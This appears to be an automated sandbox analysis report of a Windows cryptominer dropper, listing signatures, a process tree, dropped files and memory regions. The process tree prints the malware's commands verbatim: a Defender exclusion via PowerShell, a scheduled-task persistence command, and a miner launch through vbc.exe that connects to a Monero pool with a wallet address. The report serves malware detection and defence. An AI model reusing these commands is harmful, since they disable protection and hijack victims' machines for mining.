Analysis

  • max time kernel
    139s
  • max time network
    155s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220812-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
  • submitted
    08/11/2022, 18:25

General

  • Target
    file.exe
  • Size 1.2MB
  • Sample221108-w2lnaabef2
  • SHA256 b302f4f0f0f5f3f86497f005e73154e14afbccc13e1ebdfde664ab258a55cbbc
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10

Malware Config

Signatures

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 5 IoCs
  • Executes dropped EXE 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Uses the VBS compiler for execution 1 TTPs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 1 IoCs
  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Delays execution with timeout.exe 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 5 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 6 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2232
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1504
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmpA4C0.tmp.bat""
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4224
      • C:\Windows\system32\timeout.exe
        timeout 3
        3⤵
        • Delays execution with timeout.exe
        PID:4052
      • C:\ProgramData\WindowsMail\AVPTQBAEW.exe
        "C:\ProgramData\WindowsMail\AVPTQBAEW.exe"
        3⤵
        • Executes dropped EXE
        • Checks computer location settings
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:1304
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1956
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "AVPTQBAEW" /tr "C:\ProgramData\WindowsMail\AVPTQBAEW.exe"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:3064
          • C:\Windows\system32\schtasks.exe
            schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "AVPTQBAEW" /tr "C:\ProgramData\WindowsMail\AVPTQBAEW.exe"
            5⤵
            • Creates scheduled task(s)
            PID:3688
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe
          C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe -o xmr-eu1.nanopool.org:14433 -u 4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQoBJqYKAGMEQrLE8L8 --tls --coin monero
          4⤵
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of FindShellTrayWindow
          PID:1080
        • C:\Windows\system32\WerFault.exe
          C:\Windows\system32\WerFault.exe -u -p 1304 -s 3732
          4⤵
          • Program crash
          PID:3260
  • C:\Windows\system32\WerFault.exe
    C:\Windows\system32\WerFault.exe -pss -s 408 -p 1304 -ip 1304
    1⤵
      PID:2248

    Network

          MITRE ATT&CK Enterprise v6

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          Downloads

          AVPTQBAEW.exe

          • Path C:\ProgramData\WindowsMail\AVPTQBAEW.exe
          • Size 1.2MB
          • SHA256 b302f4f0f0f5f3f86497f005e73154e14afbccc13e1ebdfde664ab258a55cbbc
          • MD5 SHA1 SHA512 SSDEEP

          AVPTQBAEW.exe

          • Path C:\ProgramData\WindowsMail\AVPTQBAEW.exe
          • Size 1.2MB
          • SHA256 b302f4f0f0f5f3f86497f005e73154e14afbccc13e1ebdfde664ab258a55cbbc
          • MD5 SHA1 SHA512 SSDEEP

          powershell.exe.log

          • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
          • Size 2KB
          • SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
          • MD5 SHA1 SHA512

          StartupProfileData-NonInteractive

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 944B
          • SHA256 5ab6a1726f425c6d0158f55eb8d81754ddedd51e651aa0a899a29b7a58619c4c
          • MD5 SHA1 SHA512

          tmpA4C0.tmp.bat

          • Path C:\Users\Admin\AppData\Local\Temp\tmpA4C0.tmp.bat
          • Size 149B
          • SHA256 f119699fbdde1987919d8e32ac28990fed79bd0d006dd1aa1837c1dcd831ec66
          • MD5 SHA1 SHA512

          memory/1080-195-0x000001D004C40000-0x000001D004C60000-memory.dmp

          memory/1080-191-0x0000000140000000-0x00000001407C9000-memory.dmp

          memory/1080-189-0x000001D004AA0000-0x000001D004AC0000-memory.dmp

          memory/1080-188-0x0000000140000000-0x00000001407C9000-memory.dmp

          memory/1080-187-0x0000000140000000-0x00000001407C9000-memory.dmp

          memory/1080-185-0x0000000140000000-0x00000001407C9000-memory.dmp

          memory/1080-192-0x000001D004C00000-0x000001D004C40000-memory.dmp

          memory/1080-196-0x000001D004C60000-0x000001D004C80000-memory.dmp

          memory/1080-197-0x000001D004C40000-0x000001D004C60000-memory.dmp

          memory/1080-198-0x000001D004C60000-0x000001D004C80000-memory.dmp

          memory/1304-182-0x00007FFB6F840000-0x00007FFB6F87B000-memory.dmp

          memory/1304-172-0x00007FFB70550000-0x00007FFB70577000-memory.dmp

          memory/1304-194-0x00007FFB54A80000-0x00007FFB55541000-memory.dmp

          memory/1304-193-0x0000000000A40000-0x0000000000BCA000-memory.dmp

          memory/1304-190-0x00007FFB4F650000-0x00007FFB4F7BA000-memory.dmp

          memory/1304-180-0x00007FFB55FB0000-0x00007FFB560B2000-memory.dmp

          memory/1304-181-0x00007FFB71900000-0x00007FFB7196B000-memory.dmp

          memory/1304-183-0x0000000000A40000-0x0000000000BCA000-memory.dmp

          memory/1304-184-0x00007FFB54A80000-0x00007FFB55541000-memory.dmp

          memory/1304-160-0x00007FFB56470000-0x00007FFB5651A000-memory.dmp

          memory/1304-161-0x00007FFB71230000-0x00007FFB712CE000-memory.dmp

          memory/1304-162-0x00007FFB6E390000-0x00007FFB6E3A2000-memory.dmp

          memory/1304-163-0x00007FFB56320000-0x00007FFB563DD000-memory.dmp

          memory/1304-164-0x00007FFB712D0000-0x00007FFB71471000-memory.dmp

          memory/1304-165-0x00007FFB54A80000-0x00007FFB55541000-memory.dmp

          memory/1304-166-0x00007FFB71010000-0x00007FFB7103B000-memory.dmp

          memory/1304-167-0x0000000000A40000-0x0000000000BCA000-memory.dmp

          memory/1304-169-0x0000000000A40000-0x0000000000BCA000-memory.dmp

          memory/1304-168-0x0000000002A90000-0x0000000002AD1000-memory.dmp

          memory/1304-170-0x00007FFB561D0000-0x00007FFB5631E000-memory.dmp

          memory/1304-171-0x00007FFB54A80000-0x00007FFB55541000-memory.dmp

          memory/1304-179-0x00007FFB569F0000-0x00007FFB56A25000-memory.dmp

          memory/1504-148-0x00000266EAC80000-0x00000266EACA2000-memory.dmp

          memory/1504-155-0x00007FFB54A80000-0x00007FFB55541000-memory.dmp

          memory/1504-154-0x00007FFB54A80000-0x00007FFB55541000-memory.dmp

          memory/1956-178-0x00007FFB54A80000-0x00007FFB55541000-memory.dmp

          memory/2232-145-0x00007FFB70550000-0x00007FFB70577000-memory.dmp

          memory/2232-138-0x00007FFB56320000-0x00007FFB563DD000-memory.dmp

          memory/2232-134-0x00007FFB71230000-0x00007FFB712CE000-memory.dmp

          memory/2232-133-0x00007FFB56470000-0x00007FFB5651A000-memory.dmp

          memory/2232-150-0x00000000007C0000-0x0000000000801000-memory.dmp

          memory/2232-136-0x00000000008E0000-0x0000000000A6A000-memory.dmp

          memory/2232-144-0x00007FFB54A80000-0x00007FFB55541000-memory.dmp

          memory/2232-143-0x00007FFB561D0000-0x00007FFB5631E000-memory.dmp

          memory/2232-142-0x00000000008E0000-0x0000000000A6A000-memory.dmp

          memory/2232-141-0x00007FFB71010000-0x00007FFB7103B000-memory.dmp

          memory/2232-140-0x00007FFB54A80000-0x00007FFB55541000-memory.dmp

          memory/2232-135-0x00007FFB6E390000-0x00007FFB6E3A2000-memory.dmp

          memory/2232-139-0x00007FFB712D0000-0x00007FFB71471000-memory.dmp

          memory/2232-137-0x00000000007C0000-0x0000000000801000-memory.dmp

          memory/2232-153-0x00007FFB54A80000-0x00007FFB55541000-memory.dmp

          memory/2232-149-0x00000000008E0000-0x0000000000A6A000-memory.dmp